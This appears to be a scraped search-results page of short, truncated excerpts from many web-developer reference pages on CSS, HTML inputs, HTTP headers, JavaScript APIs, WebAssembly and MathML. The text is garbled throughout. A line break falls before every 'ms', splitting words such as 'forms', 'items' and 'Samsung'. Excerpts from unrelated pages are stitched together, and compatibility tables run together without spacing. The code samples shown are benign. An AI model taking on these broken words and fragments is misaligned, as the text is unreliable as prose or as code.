<shape> - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet<shape> deprecatedchrome full support 1edge full support 12firefox full support 1ie full support 5.5opera full support 9.5safari full support ...
... 1.3webview android full support 37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1sa
msung internet android full support 1.0rect() deprecatedchrome full support 1edge full support 12firefox full support 1ie full support 5.5notes full support ...
... 1.3webview android full support 37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1sa
msung internet android full support 1.0legend full support full supportdeprecated.
text-align - CSS: Cascading Style Sheets
nullam est eros, suscipit sed dictum quis, accu
msan a ligula.
... nullam est eros, suscipit sed dictum quis, accu
msan a ligula.
... nullam est eros, suscipit sed dictum quis, accu
msan a ligula.
text-transform - CSS: Cascading Style Sheets
in greek (el), the lowercase sigma character has two for
ms: σ and ς.
...in some cases, a hyphen is also removed upon uppercasing: an t-uisce transfor
ms to an tuisce (and the hyphen is correctly reinserted by text-transform: lowercase).
... full-width is a keyword that forces the writing of a character — mainly ideogra
ms and latin scripts — inside a square, allowing them to be aligned in the usual east asian scripts (like chinese or japanese).
<time-percentage> - CSS: Cascading Style Sheets
valid percentages 50% +50% optional plus sign -50% negative percentages are not valid for all properties that accept percentages invalid percentages 50 % space not allowed between the space and the percentage sign valid times 12s positive integer -456
ms negative integer 4.3
ms non-integer 14
ms the unit is case-insensitive, although capital letters are not recommended.
... +0s zero with a leading + and a unit -0
ms zero with a leading - and a unit invalid times 0 although unitless zero is allowed for <length>s, it's invalid for <time>s.
...7
ms no space is allowed between the number and the unit.
matrix3d() - CSS: Cascading Style Sheets
a1a2a3a4b1b2b3b4c1c2c3c4d1d2d3d4 examples cube squashing example the following example shows a 3d cube created from dom elements and transfor
ms, which can be hovered/focused to apply a matrix3d() transform to it.
...iv class="face bottom">6</div> </section> css #example-element { width: 100px; height: 100px; transform-style: preserve-3d; transition: transform 1.5s; transform: rotate3d(1, 1, 1, 30deg); margin: 50px auto; } #example-element:hover, #example-element:focus { transform: rotate3d(1, 1, 1, 30deg) matrix3d(1,0,0,0,0,1,6,0,0,0,1,0,50,100,0,1.1); } .face { display: flex; align-ite
ms: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: #fff; } .front { background: rgba(90,90,90,.7); transform: translatez(50px); } .back { background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right { background: rgba(210,0,0,.7); transform: rotatey(90deg...
...trix3d( 1,0,0,0, 0,1,0,0, 0,0,1,0, -50,-100,0,1.1 ); } 50% { transform: matrix3d( 1,0,0,0, 0,1,0,0, 0,0,1,0, 0,0,0,0.9 ); } to { transform: matrix3d( 1,0,0,0, 0,1,0,0, 0,0,1,0, 50,100,0,1.1 ) } } result specifications specification status comment css transfor
ms level 2the definition of 'matrix3d()' in that specification.
transform-style - CSS: Cascading Style Sheets
formal definition initial valueflatapplies totransformable elementsinheritednocomputed valueas specifiedanimation typediscretecreates stacking contextyes formal syntax flat | preserve-3d examples transform style demonstration in this example we have a 3d cube created using transfor
ms.
...> <div class="face top">5</div> <div class="face bottom">6</div> </section> <div class="checkbox"> <label for="preserve"><code>preserve-3d</code></label> <input type="checkbox" id="preserve" checked> </div> css #example-element { margin: 50px; width: 100px; height: 100px; transform-style: preserve-3d; transform: rotate3d(1, 1, 1, 30deg); } .face { display: flex; align-ite
ms: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: #fff; } .front { background: rgba(90,90,90,.7); transform: translatez(50px); } .back { background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right { background: rgba(210,0,0,.7); transform: rotatey(90deg...
....top { background: rgba(210,210,0,.7); transform: rotatex(90deg) translatez(50px); } .bottom { background: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50px); } javascript const cube = document.getelementbyid('example-element'); const checkbox = document.getelementbyid('preserve'); checkbox.addeventlistener('change', () => { if(checkbox.checked) { cube.style.transfor
mstyle = 'preserve-3d'; } else { cube.style.transfor
mstyle = 'flat'; } }) result specifications specification status comment css transfor
ms level 2the definition of 'transform-style' in that specification.
WAI ARIA Live Regions/API Support - Developer guides
as always, we're open to questions and suggestions for changes in community foru
ms.
...etext::get_oldtext to retrieve the offsets and removed text) text inserted text_changed::insert ia2_event_text_inserted (use iaccessibletext::get_newtext to retrieve the offsets and inserted text) text replaced text_changed::delete followed immediately by text_changed::insert ia2_event_text_removed followed immediately by ia2_event_text_inserted * we do not use
msaa's create/destroy at the request of screen reader vendors, who avoid those events because they cause crashes on some important system -- show/hide are the equivalent of those events.
...this information is retrieved differently on each platform, because some platfor
ms use asynchronous events.
Block formatting context - Developer guides
flex ite
ms (direct children of the element with display: flex or inline-flex) if they are neither flex nor grid nor table containers the
mselves.
... grid ite
ms (direct children of the element with display: grid or inline-grid) if they are neither flex nor grid nor table containers the
mselves.
... the value name of flow-root makes sense when you understand you are creating something that acts like the root element (<html> element in browser) in ter
ms of how it creates a new context for the flow layout inside it.
Making content editable - Developer guides
ss="heading" selected>- background -</option> <option value="red">red</option> <option value="green">green</option> <option value="black">black</option> </select> </div> <div id="toolbar2"> <img class="intlink" title="clean" onclick="if(validatemode()&&confirm('are you sure?')){odoc.innerhtml=sdeftxt};" src="data:image/gif;base64,r0lgodlhfgawaiqbad04ktrlyzfrjlldzl9vj1dusy14wyodhpwibbsvfy6o7ioxw5qb
ms+wubcztca0ccs4kddqjdtltmrl1o3yitha7opcsd/f4pfvrvdv8pv5xv///////////////////yh5baekab8alaaaaaawabyaaav84ceozgmeakqubmteyzk547qobcfwtm/jgshq4rhmloxfiehqqsawr+z4iayaj0kegtfolizlwre4ocqwrxototaihmcz0tvgmbqkzhayyfewev14eq8iflhnehmfdqkaiskqci2pdc4qbg+oajc0ewadncogo6anqkkoiqa7" /> <img class="intlink" title="print" onclick="printdoc();" src="data:image/png;base64,ivborw0kggoaaaansuheugaaabyaaaawcayaaadet...
...15psj04zc94wdtibr26fxlc2mzrvbccebz2kirfd414tkmlezbvgt33+qcohgha81swysew0r1uzfnylmtpx80pngqq91lwvk2jgvgnfvzg6ycyrat16gftw5kkkfo1eqltfh5q2ett0biwf+aitq4fdbk+imyo1oxvgf03wafjqvbckvdffryetxqiffygazths0zwagd7fg5tnnyntp8/fzvgwjofmgg7gox0sakkgqgdmgkbi0njgmeimpgdk5+wacewed0ywblhguz4hw5oduekrblt7dtgdegxacsiznx8zpmwh7k4rkpjcuhdxcul6mdsmmbxdlwch2+xozsgbnzsncee4euyv4pwcpswypw0uhdybkswu1nyjendreqtkjwn2+zvttc1v
mstb/mvev/weyslasslimcohobjxw+n3ap/sjefnl5gepzmpu4kg7opr1+tofpyuu3becwykcwqcdfmwfkauo90fhkdinbcamvqnymgqueagqwcohbdc1rjv9pild8ibvkz6qyviibqgtjpx4k0xpigezorn1da0cij4vfr0ta3wvbxh/rjdcufv6r2zpgph/e4pxsbcpeatqprjniso203/5s/za171mv8+w1loaaaaaelftksuqmcc"> <img class="intlink" title="undo" onclick="formatdoc('undo');" src="data:image/gif;base64,r0lgodlhfgawaomkadljwlie33morpgjuykl8aezxqpd+7/i19dv3nha7p///...
...7fupk3i5gd9/fja7zsmdazmg/ze52mzesj4yu1xeq/ff7w5dvfvas1lsxc4db7z8c3r8p7qjf///2dnzgxlqjuyr3rpqqd/hhyu7ospywscyldqsd3kzvnh738wmdzj5gbn1viww4c3kdon7vovm7s3pab9u5qsu5/x5kunly+eexqbklnserk61+++vnajcfkymtiwffj0qwzbjdkjcets1y8evyd48toz8y/ffzv//vpp4veffxpx77z6l5jewhpu8mqtdawmdlzyrjb/mzm0jct5lj+89+ybm6zz95omh7s4xbygn3sluq4mj5k8ikmgp4f0////fv77//8nly+7mccxmyydawods9jm9tcvpypd35pne3ljdjvj26+h2dhypuenikgfvqexn
msl3tqepxxsqhxpyc666s+fv1fmdkr3tk72zpix8ntc7bdfhfkeevbc9khbk/9iywhierbu6mwby/7//8/4//9/pgonh6jgvazvfdrtq2vgibizrutibgck+ivhvuekwaaaaabjru5erkjggg=="> <img class="intlink" title="bold" onclick="formatdoc('bold');" src="data:image/gif;base64,r0lgodlhfgawaid/amdawaaaach5baeaaaaalaaaaaawabyaqainhi+pa+h9mjy0lhdgtrxzdg5wgfvk6axqyk6y9kxvkknulbb6zgmfads=" /> <img class="intlink" title="italic" onclick="form...
Constraint validation - Developer guides
the creation of web for
ms has always been a complex task.
...html5 introduced new mechanis
ms for for
ms: it added new semantic types for the <input> element and constraint validation to ease the work of checking the form content on the client side.
... controlling the text of constraint violation the following ite
ms can help with controlling the text of a constraint violation: element.setcustomvalidity(message) method on the following elements: <fieldset>.
Separate sites for mobile and desktop - Developer guides
conceptually simple, this is the easiest option to add to an existing site, especially if you are using a c
ms or web application that supports templates.
...if you are using a c
ms, it is possible to arrange your site templates in a way that minimizes this duplication.
...approaches to mobile web development see the following articles for background and other approaches to developing for mobile platfor
ms.
Date and time formats used in HTML - HTML: Hypertext Markup Language
elements that use such formats include certain for
ms of the <input> element that let the user choose or specify a date, time, or both, as well as the <ins> and <del> elements, whose datetime attribute specifies the date or date and time at which the insertion or deletion of content occurred.
...it's worth reviewing the descriptions of the formats you're using in order to ensure that your strings are in fact compatible with html, as the html specification includes algorith
ms for parsing these strings that is actually more precise than iso 8601, so there can be subtle differences in how date and time strings are expected to look.
... for dates prior to utc, the time base is instead expressed in ter
ms of ut1, which is the contemporary earth solar time at the prime meridian.
<input type="email"> - HTML: Hypertext Markup Language
value a do
mstring representing an e-mail address, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, multiple, name,pattern, placeholder, readonly, required, size, and type idl attributes list and value methods select() value the <input> element's value attribute contains a do
mstring which is automatica...
...in simple ter
ms, this means username@domain or username@domain.tld.
... using email inputs e-mail addresses are among the most frequently-inputted textual data for
ms on the web; they're used when logging into web sites, when requesting information, to allow order confirmation, for webmail, and so forth.
<input type="reset"> - HTML: Hypertext Markup Language
you should usually avoid including reset buttons in your for
ms.
... value a do
mstring used as the button's label events click supported common attributes type and value idl attributes value methods none value an <input type="reset"> element's value attribute contains a do
mstring that is used as the button's label.
... <input type="reset" value="reset the form"> if you don't specify a value, you get an button with the default label (typically "reset," but this will vary depending on the user agent): <input type="reset"> using reset buttons <input type="reset"> buttons are used to reset for
ms.
<input type="submit"> - HTML: Hypertext Markup Language
<input type="submit" value="send request"> value a do
mstring used as the button's label events click supported common attributes type and value idl attributes value methods none value an <input type="submit"> element's value attribute contains a do
mstring which is displayed as the button's label.
...this method works well for simple for
ms that contain only ascii characters and have no side effects.
... using submit buttons <input type="submit"> buttons are used to submit for
ms.
<input type="text"> - HTML: Hypertext Markup Language
value a do
mstring representing the text contained in the text field.
... value the value attribute is a do
mstring that contains the current value of the text entered into the text field.
...this affects the width of the element, letting you specify the width in ter
ms of characters rather than pixels.
<input type="url"> - HTML: Hypertext Markup Language
value a do
mstring representing a url, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value, selectionend, selectiondirection methods select(), setrangetext() and setselectionrange().
... value the <input> element's value attribute contains a do
mstring which is automatically validated as conforming to url syntax.
...in simple ter
ms, this means urlscheme://restofurl.
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
<kbd> may be nested in various combinations with the <samp> (sample output) element to represent various for
ms of input or output based on visual cues.
... nesting a <samp> element inside a <kbd> element, on the other hand, represents input which is based on text presented by the system, such as the names of menus and menu ite
ms, or the names of buttons displayed on the screen.
... <p>if a syntax error occurs, the tool will output the initial command you typed for your review:</p> <blockquote> <samp><kbd>custom-git ad my-new-file.cpp</kbd></samp> </blockquote> representing onscreen input options nesting a <samp> element inside a <kbd> element represents input which is based on text presented by the system, such as the names of menus and menu ite
ms, or the names of buttons displayed on the screen.
<link>: The External Resource Link element - HTML: Hypertext Markup Language
for example, a link to the site's favicon: <link rel="icon" href="favicon.ico"> there are a number of other icon rel values, mainly used to indicate special icon types for use on various mobile platfor
ms, e.g.: <link rel="apple-touch-icon-precomposed" sizes="114x114" href="apple-icon-114.png" type="image/png"> the sizes attribute indicates the icon size, while the type contains the mime type of the resource being linked.
...if you encounter proble
ms with the favicon not loading, verify that the content-security-policy header's img-src directive is not preventing access to it.
...
ms's ico format does, as well as apple's icns.
<menu> - HTML: Hypertext Markup Language
usage notes the <menu> and <ul> elements both represent an unordered list of ite
ms.
... the key difference is that <ul> primarily contains ite
ms for display, whilst <menu> is intended for interactive ite
ms, to act on.
... toolbar menus consist of a <menu> element whose content is described in one of two ways: either as an unordered list of ite
ms represented by <li> elements (each representing a command or option the user can utilize), or (if there are no <li> elements), flow content describing the available commands and options.
itemref - HTML: Hypertext Markup Language
properties that are not descendants of an element with the ite
mscope attribute can be associated with an item using the global attribute itemref.
... itemref provides a list of element ids (not itemids) elsewhere in the document, with additional properties the itemref attribute can only be specified on elements that have an ite
mscope attribute specified.
... example html <div ite
mscope id="amanda" itemref="a b"></div> <p id="a">name: <span itemprop="name">amanda</span> </p> <div id="b" itemprop="band" ite
mscope itemref="c"></div> <div id="c"> <p>band: <span itemprop="name">jazz band</span> </p> <p>size: <span itemprop="size">12</span> players</p> </div> structured data (in json-ld format) { "@id": "amanda", "name": "amanda", "band": { "@id": "b", "nam...
Preloading content with rel="preload" - HTML: Hypertext Markup Language
other resource preloading mechanis
ms other preloading features exist, but none are quite as fit for purpose as <link rel="preload">: <link rel="prefetch"> has been supported in browsers for a long time, but it is intended for prefetching resources that will be used in the next navigation/page load (e.g.
... <link rel="subresource"> was supported in chrome a while ago, and was intended to tackle the same issue as preload, but it had a problem: there was no way to work out a priority for the ite
ms (as didn't exist back then), so they all got fetched with fairly low priority.
... there are a number of script-based resource loaders out there, but they don't have any power over the browser's fetch prioritization queue, and are subject to much the same performance proble
ms.
HTML: Hypertext Markup Language
html for
ms for
ms are a very important part of the web — these provide much of the functionality you need for interacting with websites, e.g.
...this module gets you started with creating the client-side/front-end parts of for
ms.
... use html to solve common proble
ms provides links to sections of content explaining how to use html to solve very common proble
ms when creating a web page: dealing with titles, adding images or videos, emphasizing content, creating a basic form, etc.
Evolution of HTTP - HTTP
a lot of interoperability proble
ms were common.
... additional cache control mechanis
ms have been introduced.
...their use on web real
ms stayed confidential.
Content negotiation - HTTP
the determination of the best suited representation is made through one of two mechanis
ms: specific http headers by the client (server-driven negotiation or proactive negotiation), which is the standard way of negotiating a specific kind of resource.
... the 300 (multiple choices) or 406 (not acceptable) http response codes by the server (agent-driven negotiation or reactive negotiation), that are used as fallback mechanis
ms.
...besides falling back to the server-driven negotiation, this method is almost always used in conjunction with scripting, especially with javascript redirection: after having checked for the negotiation criteria, the script perfor
ms the redirection.
Digest - HTTP
in rfc 7231 ter
ms this is the selected representation of a resource.
... header type response header forbidden header name no syntax digest: <digest-algorithm>=<digest-value> digest: <digest-algorithm>=<digest-value>,<digest-algorithm>=<digest-value> directives <digest-algorithm> supported digest algorith
ms are defined in rfc 3230 and rfc 5843, and include sha-256 and sha-512.
... some of the supported algorith
ms, including unixsum and md5 are subject to collisions and are thus not suitable for applications in which collision-resistance is important.
X-DNS-Prefetch-Control - HTTP
the x-dns-prefetch-control http response header controls dns prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as urls for ite
ms referenced by the document, including images, css, javascript, and so forth.
... this prefetching is performed in the background, so that the dns is likely to have been resolved by the time the referenced ite
ms are needed.
... description dns requests are very small in ter
ms of bandwidth, but latency can be quite high, especially on mobile networks.
HTTP response status codes - HTTP
the initial aim for creating this code was using it for digital payment syste
ms, however this status code is used very rarely and no standard convention exists.
... 406 not acceptable this response is sent when the web server, after performing server-driven content negotiation, doesn't find any content that confor
ms to the criteria given by the user agent.
...this response is used much more since some browsers, like chrome, firefox 27+, or ie9, use http pre-connection mechanis
ms to speed up surfing.
Unicode property escapes - JavaScript
it is possible to use both short or long for
ms in unicode property escapes.
...however, such for
ms only match characters from the latin script (in other words, a to z and a to z for \w and 0 to 9 for \d).
... as shown in this example, it might be a bit clu
msy to work with non latin texts.
Regular expressions - JavaScript
note: if you are already familiar with the for
ms of a regular expression, you may also read the cheatsheet for a quick lookup for a specific pattern/construct.
... if escape strings are not already part of your pattern you can add them using string.replace: function escaperegexp(string) { return string.replace(/[.*+\-?^${}()|[\]\\]/g, '\\$&'); // $& means the whole matched string } the "g" after the regular expression is an option or flag that perfor
ms a global search, looking in the whole string and returning all matches.
...if the number is invalid, the script infor
ms the user that the phone number is not valid.
Text formatting - JavaScript
trim tri
ms whitespace from the beginning and end of the string.
...(the result is different in another time zone.) const
msperday = 24 * 60 * 60 * 1000; // july 17, 2014 00:00:00 utc.
... const july172014 = new date(
msperday * (44 * 365 + 11 + 197)); const options = { year: '2-digit', month: '2-digit', day: '2-digit', hour: '2-digit', minute: '2-digit', timezonename: 'short' }; const americandatetime = new intl.datetimeformat('en-us', options).format; console.log(americandatetime(july172014)); // 07/16/14, 5:00 pm pdt number formatting the numberformat object is useful for formatting numbers, for example currencies.
Using Promises - JavaScript
best practice is to wrap problematic functions at the lowest possible level, and then never call them directly again: const wait =
ms => new promise(resolve => settimeout(resolve,
ms)); wait(10*1000).then(() => saysomething("10 seconds")).catch(failurecallback); basically, the promise constructor takes an executor function that lets us resolve or reject a promise manually.
...pretty soon: const wait =
ms => new promise(resolve => settimeout(resolve,
ms)); wait().then(() => console.log(4)); promise.resolve().then(() => console.log(2)).then(() => console.log(3)); console.log(1); // 1, 2, 3, 4 nesting simple promise chains are best kept flat without nesting, as nesting can be a result of careless composition.
... using async/await addresses most, if not all of these proble
ms—the tradeoff being that the most common mistake with that syntax is forgetting the await keyword.
Public class fields - JavaScript
support in browsers is limited, but the feature can be used through a build step with syste
ms like babel.
... class baseclass {
msg = 'hello world' basepublicmethod() { return this.
msg } } class subclass extends baseclass { subpublicmethod() { return super.basepublicmethod() } } const instance = new subclass() console.log(instance.subpublicmethod()) // expected output: "hello world" getters and setters are special methods that bind to a class property and are called when that property is accessed or se...
... class classwithgetset { #
msg = 'hello world' get
msg() { return this.#
msg } set
msg(x) { this.#
msg = `hello ${x}` } } const instance = new classwithgetset() console.log(instance.
msg) // expected output: "hello world" instance.
msg = 'cake' console.log(instance.
msg) // expected output: "hello cake" specifications specification public and private instance fieldsthe definition of 'fielddefinition' in that specification.
Arrow function expressions - JavaScript
() => { statements } advanced syntax // parenthesize the body of a function to return an object literal expression: para
ms => ({foo: bar}) // rest parameters and default parameters are supported (param1, param2, ...rest) => { statements } (param1 = defaultvalue1, param2, …, paramn = defaultvaluen) => { statements } // destructuring within the parameter list is also supported var f = ([a, b] = [1, 2], {x: c} = {x: a + b}) => a + b + c; f(); // 6 description see also "es6 in depth: arrow functions" on hacks.mozi...
... correction: start note: the previous statement see
ms false.
... var func = x => x * x; // concise body syntax, implied "return" var func = (x, y) => { return x + y; }; // with block body, explicit "return" needed returning object literals keep in mind that returning object literals using the concise body syntax para
ms => {object:literal} will not work as expected.
Array.prototype.flatMap() - JavaScript
for adding and removing ite
ms during a map() flatmap can be used as a way to add and remove ite
ms (modify the number of ite
ms) during a map.
... in other words, it allows you to map many ite
ms to many ite
ms (by handling each input item separately), rather than always one-to-one.
...simply return a 1-element array to keep the item, a multiple-element array to add ite
ms, or a 0-element array to remove the item.
Date.prototype.setSeconds() - JavaScript
syntax dateobj.setseconds(secondsvalue[,
msvalue]) versions prior to javascript 1.3 dateobj.setseconds(secondsvalue) parameters secondsvalue an integer between 0 and 59, representing the seconds.
...
msvalue optional.
... description if you do not specify the
msvalue parameter, the value returned from the getmilliseconds() method is used.
Date.prototype.setUTCSeconds() - JavaScript
syntax dateobj.setutcseconds(secondsvalue[,
msvalue]) parameters secondsvalue an integer between 0 and 59, representing the seconds.
...
msvalue optional.
... description if you do not specify the
msvalue parameter, the value returned from the getutcmilliseconds() method is used.
Intl.NumberFormat() constructor - JavaScript
the following properties fall into two groups: minimumintegerdigits, minimumfractiondigits, and maximumfractiondigits in one group, minimu
msignificantdigits and maximu
msignificantdigits in the other.
... minimu
msignificantdigits the minimum number of significant digits to use.
... maximu
msignificantdigits the maximum number of significant digits to use.
Map - JavaScript
size the number of ite
ms in a map is easily retrieved from its size property.
... the number of ite
ms in an object must be determined manually.
... performance perfor
ms better in scenarios involving frequent additions and removals of key-value pairs.
Math.imul() - JavaScript
this feature is useful for projects like e
mscripten.
...the reason imul exists is because it is faster in only one (so far) circu
mstance: asmjs.
...multiplying two numbers stored internally as integers (which is only possible with asmjs) with imul is the only potential circu
mstance where math.imul may prove performant in current browsers.
RegExp - JavaScript
regexp.prototype[@@match]() perfor
ms match to given string and returns match result.
...the line splitting provided in this example works on all platfor
ms.
... using regular expression on multiple lines let s = 'please yes\nmake my day!' s.match(/yes.*day/); // returns null s.match(/yes[^]*day/); // returns ["yes\nmake my day"] using a regular expression with the sticky flag the sticky flag indicates that the regular expression perfor
ms sticky matching in the target string by attempting to match starting at regexp.prototype.lastindex.
String.prototype.normalize() - JavaScript
there are two main normalization for
ms, one based on canonical equivalence and the other based on compatibility.
...in the example below we normalize two representations of the character "ñ": let string1 = '\u00f1'; // ñ let string2 = '\u006e\u0303'; // ñ string1 = string1.normalize('nfd'); string2 = string2.normalize('nfd'); console.log(string1 === string2); // true console.log(string1.length); // 2 console.log(string2.length); // 2 composed and decomposed for
ms note that the length of the normalized form under "nfd" is 2.
... as with canonical normalization, you can ask for decomposed or composed compatible for
ms by passing "nfkd" or "nfkc", respectively.
WebAssembly.CompileError - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jscompileerrorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0compileerror() constructorchrome full support 57edge full support 16firefox full support 52notes ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.Global() constructor - JavaScript
const output = document.getelementbyid('output'); function asserteq(
msg, got, expected) { output.innerhtml += `testing ${
msg}: `; if (got !== expected) output.innerhtml += `fail!<br>got: ${got}<br>expected: ${expected}<br>`; else output.innerhtml += `success!
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsglobal() constructorchrome full support 69edge no support nofirefox full support 62ie no support noopera no support nosafari no support ...
... nowebview android full support 69chrome android full support 69firefox android full support 62opera android no support nosafari ios no support nosa
msung internet android full support 10.0nodejs no support nolegend full support full support no support no support ...
WebAssembly.LinkError - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jslinkerrorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0linkerror() constructorchrome full support 57edge full support 16firefox full support 52notes fu...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.Memory() constructor - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsmemory() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no su...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0shared flagchrome full support 74edge full support 79firefox full support 78ie no support ...
...port nowebview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosa
msung internet android no support nonodejs full support 12.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.RuntimeError - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsruntimeerrorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0runtimeerror() constructorchrome full support 57edge full support 16firefox full support 52notes ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.compileStreaming() - JavaScript
examples compile streaming the following example (see our compile-streaming.html demo on github, and view it live also) directly strea
ms a .wasm module from an underlying source then compiles it to a webassembly.module object.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jscompilestreamingchrome full support 61edge full support 16firefox full support 58ie no support noopera full support 47safari no support ...
... nowebview android full support 61chrome android full support 61firefox android full support 58opera android full support 45safari ios no support nosa
msung internet android full support 8.0nodejs no support nolegend full support full support no support no support ...
WebAssembly.instantiate() - JavaScript
this function has two overloads: the primary overload takes the webassembly binary code, in the form of a typed array or arraybuffer, and perfor
ms both compilation and instantiation in one step.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsinstantiatechrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.instantiateStreaming() - JavaScript
examples instantiating streaming the following example (see our instantiate-streaming.html demo on github, and view it live also) directly strea
ms a .wasm module from an underlying source then compiles and instantiates it, the promise fulfilling with a resultobject.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsinstantiatestreamingchrome full support 61edge full support 16firefox full support 58ie no support noopera full support 47safari no support ...
... nowebview android full support 61chrome android full support 61firefox android full support 58opera android full support 45safari ios no support nosa
msung internet android full support 8.0nodejs no support nolegend full support full support no support no support ...
Spread syntax (...) - JavaScript
without spread syntax, this is done as: const arr1 = [0, 1, 2]; const arr2 = [3, 4, 5]; // append all ite
ms from arr2 onto arr1 arr1 = arr1.concat(arr2); with spread syntax this becomes: let arr1 = [0, 1, 2]; let arr2 = [3, 4, 5]; arr1 = [...arr1, ...arr2]; // arr1 is now [0, 1, 2, 3, 4, 5] // note: not to use const otherwise, it will give typeerror (invalid assignment) array.prototype.unshift() is often used to insert an array of values at the start of an existing array.
... without spread syntax, this is done as: const arr1 = [0, 1, 2]; const arr2 = [3, 4, 5]; // prepend all ite
ms from arr2 onto arr1 array.prototype.unshift.apply(arr1, arr2) // arr1 is now [3, 4, 5, 0, 1, 2] with spread syntax, this becomes: let arr1 = [0, 1, 2]; let arr2 = [3, 4, 5]; arr1 = [...arr2, ...arr1]; // arr1 is now [3, 4, 5, 0, 1, 2] note: unlike unshift(), this creates a new arr1, and does not modify the original arr1 array in-place.
... only for iterables objects the
mselves are not iterable, but they become iterable when used in an array, or with iterating functions such as map(), reduce(), and assign().
<math> - MathML
attributes in addition to the following attributes, the <math> element accepts any attributes of the <
mstyle> element.
... examples html5 notation <!doctype html> <html> <head> <title>mathml in html5</title> </head> <body> <math> <mrow> <mrow> <
msup> <mi>a</mi> <mn>2</mn> </
msup> <mo>+</mo> <
msup> <mi>b</mi> <mn>2</mn> </
msup> </mrow> <mo>=</mo> <
msup> <mi>c</mi> <mn>2</mn> </
msup> </mrow> </math> </body> </html> xhtml notation <?xml version="1.0" encoding="utf-8"?> <!doctype html public "-//w3c//dtd xhtml 1.1 plus ma...
...thml 2.0//en" "http://www.w3.org/math/dtd/mathml2/xhtml-math11-f.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>mathml in xhtml</title> </head> <body> <math xmlns="http://www.w3.org/1998/math/mathml"> <mrow> <mrow> <
msup> <mi>a</mi> <mn>2</mn> </
msup> <mo>+</mo> <
msup> <mi>b</mi> <mn>2</mn> </
msup> </mrow> <mo>=</mo> <
msup> <mi>c</mi> <mn>2</mn> </
msup> </mrow> </math> </body> </html> notes: xhtml documents with mathml must be served as application/xhtml+xml.
MathML element reference - MathML
ier) l <mlabeledtr> (labeled row in a table or a matrix) <mlongdiv> (long division notation) m <mmultiscripts> (prescripts and tensor indices) n <mn> (number) o <mo> (operator) <mover> (overscript) p <mpadded> (space around content) <mphantom> (invisible content with reserved space) r <mroot> (radical with specified index) <mrow> (grouped sub-expressions) s <
ms> (string literal) <
mscarries> (annotations such as carries) <
mscarry> (single carry, child element of <
mscarries>) <
msgroup> (grouped rows of <
mstack> and <mlongdiv> elements) <
msline> (horizontal lines inside <
mstack> elements) <
mspace> (space) <
msqrt> (square root without an index) <
msrow> (rows in <
mstack> elements) <
mstack> (stacked alignment) <
